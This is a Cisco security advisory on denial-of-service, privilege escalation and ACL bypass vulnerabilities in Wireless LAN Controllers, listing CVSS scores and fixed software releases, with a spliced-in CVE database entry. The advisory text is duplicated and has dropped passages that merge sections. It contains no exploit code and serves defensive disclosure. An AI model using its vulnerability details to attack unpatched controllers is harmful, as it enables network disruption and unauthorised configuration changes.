Manufacturer's Name.. Cisco Systems Inc.
Product Name......... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
The Cisco WLC family of devices is affected by 2 denial of service
vulnerabilities, 3 privilege escalation vulnerabilities, and 2 access
control list bypass vulnerabilities. The following are the details
about these vulnerabilities.
Note: IKE is enabled by default in the WLC and cannot be disabled.
Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability. A TCP three-way handshake is needed in order
to exploit this vulnerability.
Note: Only traffic destined to the Cisco WLC could trigger this
vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Three privilege escalation vulnerabilities exist in the Cisco WLCs
that could allow an authenticated attacker with read-only privileges
to modify the device configuration.
Access Control List Bypass Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
ACLs can be configured in the Cisco WLCs and applied to data traffic
to and from wireless clients or to all traffic that is destined for
the controller CPU. After ACLs are defined, they can be applied to
the management interface, the access point manager (AP-manager)
interface, or any of the dynamic interfaces for client data traffic
or to the Network Processing Unit (NPU) interface for traffic to the
controller CPU. Two vulnerabilities exist in the Cisco WLCs that
could allow an unauthenticated attacker to bypass policies that
should be enforced by CPU-based ACLs. No other ACL types are affected
by these vulnerabilities.
Note: CPU-based ACLs are configured and applied by navigating to
Security > Access Control Lists > CPU Access Control Lists in the
Cisco WLC web management interface.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the privilege escalation vulnerabilities
could allow an authenticated attacker with read-only privileges to
modify the device configuration.
Successful exploitation of the ACL bypass vulnerabilities could allow
an attacker to bypass policies that should be enforced by CPU-based
ACLs.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
uncontrolled copy, and may lack important information or contain
factual errors.
Distribution
============
This advisory is posted on Cisco's worldwide website at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
In addition to worldwide web posting, a text version of this notice
is clear-signed with the Cisco PSIRT PGP key and is posted to the
following e-mail and Usenet news recipients.
* cust-security-announce@cisco.com
* first-bulletins@lists.first.org
* bugtraq@securityfocus.com
* vulnwatch@vulnwatch.org
* cisco@spot.colorado.edu
* cisco-nsp@puck.nether.net
* full-disclosure@lists.grok.org.uk
* comp.dcom.sys.cisco@newsgate.cisco.com
Future updates of this advisory, if any, will be placed on Cisco's
worldwide website, but may or may not be actively announced on
mailing lists or newsgroups. Users concerned about this problem are
encouraged to check the above URL for any updates.
Revision History
================
+-----------------------------------------+
| Revision | | Initial |
| 1.0 | 2010-September-08 | public |
| | | release. |
+-----------------------------------------+
Cisco Security Procedures
=========================
Complete information on reporting security vulnerabilities in Cisco
products, obtaining assistance with security incidents, and
registering to receive security information from Cisco, is available
on Cisco's worldwide website at:
http://www.cisco.com/en/US/products/products_security_vulnerability_policy.html
This includes instructions for press inquiries regarding Cisco
security notices. All Cisco security advisories are available at:
http://www.cisco.com/go/psirt
-----BEGIN PGP SIGNATURE-----
iD8DBQFMh6MB86n/Gc8U/uARAkAoAJ49gL4UWcPviOVj7qBoEjTA0tLQ4QCfTlem
QI2QHDaZGejlgOifWafhaW8=
=518m
-----END PGP SIGNATURE-----
| VAR-201009-0018 | CVE-2010-0575 | Cisco WLC Vulnerable to access restrictions |
CVSS V2: 5.0 CVSS V3: - Severity: MEDIUM |
Cisco Wireless LAN Controller (WLC) software, possibly 6.0.x or possibly 4.1 through 6.0.x, allows remote attackers to bypass ACLs in the controller CPU, and consequently send network traffic to unintended segments or devices, via unspecified vectors, a different vulnerability than CVE-2010-3034. Cisco Wireless LAN Controller (WLC) The controller CPU Vulnerabilities exist in which access restrictions can be bypassed. After defining the ACLs, it can be referenced on the management interface, on the access point management (AP-manager) interface, and any dynamic interface for client data communication or a network processing unit (NPU) interface to the controller CPU. Two security vulnerabilities in Cisco WLCs allow unauthenticated attackers to bypass CPU-based ACLs.
An attacker can exploit this issue to bypass certain security restrictions.
This issue is being tracked by Cisco BugID CSCta66931. -----BEGIN PGP SIGNED MESSAGE-----
Hash: SHA1
Cisco Security Advisory: Multiple Vulnerabilities in Cisco Wireless
LAN Controllers
Advisory ID: cisco-sa-20100908-wlc
Revision 1.0
For Public Release 2010 September 08 1600 UTC (GMT)
+---------------------------------------------------------------------
Summary
=======
The Cisco Wireless LAN Controller (WLC) product family is affected by
these vulnerabilities:
* Two denial of service (DoS) vulnerabilities
* Three privilege escalation vulnerabilities
* Two access control list (ACL) bypass vulnerabilities
Note: These vulnerabilities are independent of one another. A device
may be affected by one vulnerability and not affected by another.
Cisco has released free software updates that address these
vulnerabilities.
There are no workarounds to mitigate these vulnerabilities.
This advisory is posted at:
http://www.cisco.com/warp/public/707/cisco-sa-20100908-wlc.shtml
Affected Products
=================
Vulnerable Products
+------------------
These products are each affected by at least one vulnerability
covered in this Security Advisory:
* Cisco 2000 Series WLCs
* Cisco 2100 Series WLCs
* Cisco 4100 Series WLCs
* Cisco 4400 Series WLCs
* Cisco 5500 Series WLCs
* Cisco Wireless Services Modules (WiSMs)
* Cisco WLC Modules for Integrated Services Routers (ISRs)
* Cisco Catalyst 3750G Integrated WLCs
DoS Vulnerabilities
~~~~~~~~~~~~~~~~~~~
The Cisco WLC product family is affected by two DoS vulnerabilities:
* Internet Key Exchange (IKE) DoS Vulnerability
* HTTP DoS Vulnerability
The IKE DoS vulnerability affects Cisco WLC software versions 3.2 and
later. The HTTP DoS vulnerability affects Cisco WLC software versions
4.2 and later.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
The privilege escalation vulnerabilities affect Cisco WLC software
versions 4.2 and later.
Determination of Software Versions
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Administrators can use these instructions to determine the software
version that is running on the Cisco WLCs (using the web or
command-line interface) or on the Cisco WiSM (using commands on the
Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router).
Cisco Wireless Controllers
~~~~~~~~~~~~~~~~~~~~~~~~~~
To determine the WLC version that is running in a given environment,
use one of these methods:
* In the web interface, choose the "Monitor" tab, click "Summary" in
the left pane, and note the "Software" Version field.
Note: Customers who use a Cisco WLC Module in an ISR will need to
issue the "service-module wlan-controller <slot/port> session" command
prior to performing the next step on the command line. Customers who
use a Cisco Catalyst 3750G Switch with an integrated WLC Module will
need to issue the "session <Stack-Member-Number> processor 1 session"
command prior to performing the next step on the command line.
* From the command-line interface, type "show sysinfo" and note the
"Product Version" field, as shown in this example:
(Cisco Controller)> show sysinfo
Manufacturer's Name.. Cisco Systems Inc.
Product Name......... 5.1.151.0
RTOS Version......... Linux-2.6.10_mvl401
Bootloader Version... 4.0.207.0
Build Type........... DATA + WPS
<output suppressed>
Cisco WiSMs
~~~~~~~~~~~
Use the "show wism module <module number> controller 1 status" command
on a Cisco Catalyst 6500 Series Switch and Cisco 7600 Series Router
if they are using a WiSM. Note the software version as demonstrated
in this example, which shows version 5.1.151.0:
Router# show wism module 3 controller 1 status
WiSM Controller 1 in Slot 3
Operational Status of the Controller
: Oper-Up
Service VLAN
: 192
Service Port
: 10
Service Port Mac Address
: 0011.92ff.8742
Service IP Address
: 192.168.10.1
Management IP Address
: 192.168.1.123
Software Version
: 5.1.151.0
Port Channel Number
: 288
Allowed vlan list
: 30,40
Native VLAN ID
: 40
WCP Keep Alive Missed
: 0
Products Confirmed Not Vulnerable
+--------------------------------
No other Cisco products are currently known to be affected by these
vulnerabilities.
Details
=======
Cisco WLCs and Cisco WiSMs are responsible for system-wide wireless
LAN functions, such as security policies, intrusion prevention, RF
management, quality of service (QoS), and mobility.
The Cisco WLC family of devices is affected by 2 denial of service
vulnerabilities, 3 privilege escalation vulnerabilities, and 2 access
control list bypass vulnerabilities. The following are the details
about these vulnerabilities.
IKE Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An attacker with the ability to send a malicious IKE packet to an
affected Cisco WLC could cause the device to crash and reload. This
vulnerability can be exploited from both wired and wireless segments.
Note: IKE is enabled by default in the WLC and cannot be disabled. Transient traffic will not trigger this vulnerability.
This vulnerability is documented in Cisco Bug ID CSCta56653 and has
been assigned Common Vulnerabilities and Exposures (CVE) ID
CVE-2010-0574.
HTTP Denial of Service Vulnerability
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
An authenticated attacker with the ability to send a series of
malicious HTTP packets to an affected Cisco WLC could cause the
device to reload. This vulnerability can be exploited from both wired
and wireless segments. A TCP three-way handshake is needed in order
to exploit this vulnerability. Transient traffic will not trigger this vulnerability.
WebAuth or guest access is not affected by this vulnerability.
This vulnerability is documented in Cisco Bug ID CSCtd16938
and has been assigned CVE ID CVE-2010-2841.
Privilege Escalation Vulnerabilities
~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
Three privilege escalation vulnerabilities exist in the Cisco WLCs
that could allow an authenticated attacker with read-only privileges
to modify the device configuration.
These vulnerabilities are documented in Cisco Bug IDs CSCtc91431,
CSCsz66726, and CSCtc93837; and have been assigned
CVE IDs CVE-2010-2842, CVE-2010-2843, and CVE-2010-3033. No other ACL types are affected
by these vulnerabilities. When CPU-based ACLs are enabled,
they are applicable to both wireless and wired traffic.
These vulnerabilities are documented in Cisco Bug IDs CSCta66931,
and CSCtf36051; and have been assigned CVE IDs CVE-2010-0575 and
CVE-2010-3034.
Vulnerability Scoring Details
=============================
Cisco has provided scores for the vulnerabilities in this advisory
based on the Common Vulnerability Scoring System (CVSS). The CVSS
scoring in this Security Advisory is done in accordance with CVSS
version 2.0.
CVSS is a standards-based scoring method that conveys vulnerability
severity and helps determine urgency and priority of response.
Cisco has provided a base and temporal score. Customers can then
compute environmental scores to assist in determining the impact of
the vulnerability in individual networks.
Cisco has provided an FAQ to answer additional questions regarding
CVSS at:
http://www.cisco.com/web/about/security/intelligence/cvss-qandas.html
Cisco has also provided a CVSS calculator to help compute the
environmental impact for individual networks at:
http://intellishield.cisco.com/security/alertmanager/cvss
CSCta56653 - WLC may reload when receiving crafted IKE packets
CVSS Base Score - 7.8
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 6.4
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtd16938 - WLC crash after passing invalid arguments to emweb
CVSS Base Score - 6.8
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - None
Integrity Impact - None
Availability Impact - Complete
CVSS Temporal Score - 5.6
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCtc91431, CSCsz66726, and CSCtc93837- Privilege Escalation vulnerabilities
CVSS Base Score - 9.0
Access Vector - Network
Access Complexity - Low
Authentication - Single
Confidentiality Impact - Complete
Integrity Impact - Complete
Availability Impact - Complete
CVSS Temporal Score - 7.8
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
CSCta66931, CSCtf36051 - CPU ACL bypass vulnerabilities
CVSS Base Score - 5.0
Access Vector - Network
Access Complexity - Low
Authentication - None
Confidentiality Impact - Partial
Integrity Impact - None
Availability Impact - None
CVSS Temporal Score - 4.1
Exploitability - Functional
Remediation Level - Official-Fix
Report Confidence - Confirmed
Impact
======
Successful exploitation of the DoS vulnerabilities could cause an
affected device to reload. Repeated exploitation could result in a
sustained DoS condition.
Successful exploitation of the privilege escalation vulnerabilities
could allow an authenticated attacker with read-only privileges to
modify the device configuration.
Software Versions and Fixes
===========================
When considering software upgrades, also consult:
http://www.cisco.com/go/psirt
and any subsequent advisories to determine exposure and a complete
upgrade solution.
In all cases, customers should exercise caution to be certain the
devices to be upgraded contain sufficient memory and that current
hardware and software configurations will continue to be supported
properly by the new release. If the information is not clear, contact
the Cisco Technical Assistance Center (TAC) or your contracted
maintenance provider for assistance.
If a given release train is vulnerable, then the earliest possible
releases that contain the fix (along with the anticipated date of
availability for each, if applicable) are listed in the "First Fixed
Release" column of the table. A device running a release in the given
train that is earlier than the release in a specific column (less
than the First Fixed Release) is known to be vulnerable.
+-------------------------------------------------------------------+
| Vulnerability/Bug ID | Affected | First Fixed |
| | Release | Version |
|----------------------------------------+----------+---------------|
| | 3.2 | 3.2.215.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.205.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| IKE DoS Vulnerability (CSCta56653) |----------+---------------|
| | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| HTTP DoS Vulnerability (CSCtd16938) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.196.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 | Migrate to |
| | | 4.2 |
| |----------+---------------|
| | | Vulnerable; |
| | 4.1 M | Migrate to |
| | | 4.2M |
| |----------+---------------|
| | 4.2 | 4.2.209.0 |
| |----------+---------------|
| Privilege Escalation Vulnerabilities | 4.2M | 4.2.207.54M |
| (CSCtc91431, CSCsz66726, and |----------+---------------|
| CSCtc93837) | | Vulnerable; |
| | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | 5.2.193.11 |
| |----------+---------------|
| | 6.0 | 6.0.188.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
|----------------------------------------+----------+---------------|
| | 3.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.1M | Not |
| | | Vulnerable |
| |----------+---------------|
| | 4.2 | 4.2.207.0 |
| |----------+---------------|
| | 4.2M | 4.2.207.54M |
| |----------+---------------|
| ACL Bypass Vulnerabilities (CSCta66931 | | Vulnerable; |
| and CSCtf36051) | 5.0 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | | Vulnerable; |
| | 5.1 | Migrate to |
| | | 6.0 |
| |----------+---------------|
| | 5.2 | Not |
| | | Vulnerable |
| |----------+---------------|
| | 6.0 | 6.0.199.0 |
| |----------+---------------|
| | 7.0 | Not |
| | | Vulnerable |
+-------------------------------------------------------------------+
Recommended Releases
~~~~~~~~~~~~~~~~~~~~
The "Recommended Release" table lists the releases which have fixes
for all the published vulnerabilities at the time of this Advisory.
Cisco recommends upgrading to a release equal to or later than the
release in the "Recommended Releases" table.
+-------------------------------------------------------------------+
| Affected Release | Recommended Release |
|----------------------+--------------------------------------------|
| 3.2 | 3.2.215.0 |
|----------------------+--------------------------------------------|
| 4.1 | Vulnerable; Migrate to 4.2 |
|----------------------+--------------------------------------------|
| 4.1M | Vulnerable; Migrate to 4.2M |
|----------------------+--------------------------------------------|
| 4.2 | 4.2.209.0 |
|----------------------+--------------------------------------------|
| 4.2M | 4.2.207.54M |
|----------------------+--------------------------------------------|
| 5.0 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.1 | Vulnerable; Migrate to 6.0 |
|----------------------+--------------------------------------------|
| 5.2 | Non FIPS Customers migrate to 6.0 |
|----------------------+--------------------------------------------|
| 6.0 | 6.0.199.4 |
|----------------------+--------------------------------------------|
| 7.0 | Not Vulnerable |
+-------------------------------------------------------------------+
Note: Cisco WLC Software version 5.2.193.11 is a FIPS certified
image. Customers not running FIPS images are recommended to migrate
to Cisco WLC software 6.0.199.4 or later.
Customers running 4.1M with a mixture of LAP1505/LAP1510 and LAP1522/
LAP1524 units will need to refer to the Mesh and Mainstream Releases
on the Controller section of the document Cisco Wireless Mesh Access
Points, Design and Deployment Guide, Release 7.0.
Workarounds
===========
There are no available workarounds to mitigate any of these
vulnerabilities.
Additional mitigations that can be deployed on Cisco devices in the
network are available in the Cisco Applied Mitigation Bulletin
companion document for this advisory, which is available at the
following link:
http://www.cisco.com/warp/public/707/cisco-amb-20100908-wlc.shtml
Obtaining Fixed Software
========================
Cisco has released free software updates that address these
vulnerabilities. Prior to deploying software, customers should
consult their maintenance provider or check the software for feature
set compatibility and known issues specific to their environment.
Customers may only install and expect support for the feature sets
they have purchased. By installing, downloading, accessing or
otherwise using such software upgrades, customers agree to be bound
by the terms of Cisco's software license terms found at:
http://www.cisco.com/en/US/docs/general/warranty/English/EU1KEN_.html
or as otherwise set forth at Cisco.com Downloads at:
http://www.cisco.com/public/sw-center/sw-usingswc.shtml
Do not contact psirt@cisco.com or security-alert@cisco.com for
software upgrades.
Customers with Service Contracts
+-------------------------------
Customers with contracts should obtain upgraded software through
their regular update channels. For most customers, this means that
upgrades should be obtained through the Software Center on Cisco's
worldwide website at http://www.cisco.com.
Customers without Service Contracts
+----------------------------------
Customers who purchase direct from Cisco but do not hold a Cisco
service contract, and customers who purchase through third-party
vendors but are unsuccessful in obtaining fixed software through
their point of sale should acquire upgrades by contacting the Cisco
Technical Assistance Center (TAC). TAC contacts are as follows.
* +1 800 553 2447 (toll free from within North America)
* +1 408 526 7209 (toll call from anywhere in the world)
* e-mail: tac@cisco.com
Customers should have their product serial number available and be
prepared to give the URL of this notice as evidence of entitlement to
a free upgrade. Free upgrades for non-contract customers must be
requested through the TAC.
Refer to:
http://www.cisco.com/en/US/support/tsd_cisco_worldwide_contacts.html
for additional TAC contact information, including localized telephone
numbers, and instructions and e-mail addresses for use in various
languages.
Exploitation and Public Announcements
=====================================
The Cisco PSIRT is not aware of any public announcements or malicious
use of the vulnerabilities described in this advisory.
These vulnerabilities were found during internal testing and during
the troubleshooting of customer service requests.
Status of this Notice: FINAL
============================
THIS DOCUMENT IS PROVIDED ON AN "AS IS" BASIS AND DOES NOT IMPLY ANY
KIND OF GUARANTEE OR WARRANTY, INCLUDING THE WARRANTIES OF
MERCHANTABILITY OR FITNESS FOR A PARTICULAR USE. YOUR USE OF THE
INFORMATION ON THE DOCUMENT OR MATERIALS LINKED FROM THE DOCUMENT IS
AT YOUR OWN RISK. CISCO RESERVES THE RIGHT TO CHANGE OR UPDATE THIS
DOCUMENT AT ANY TIME.
A stand-alone copy or Paraphrase of the text of this document that
omits the distribution URL in the following section is an
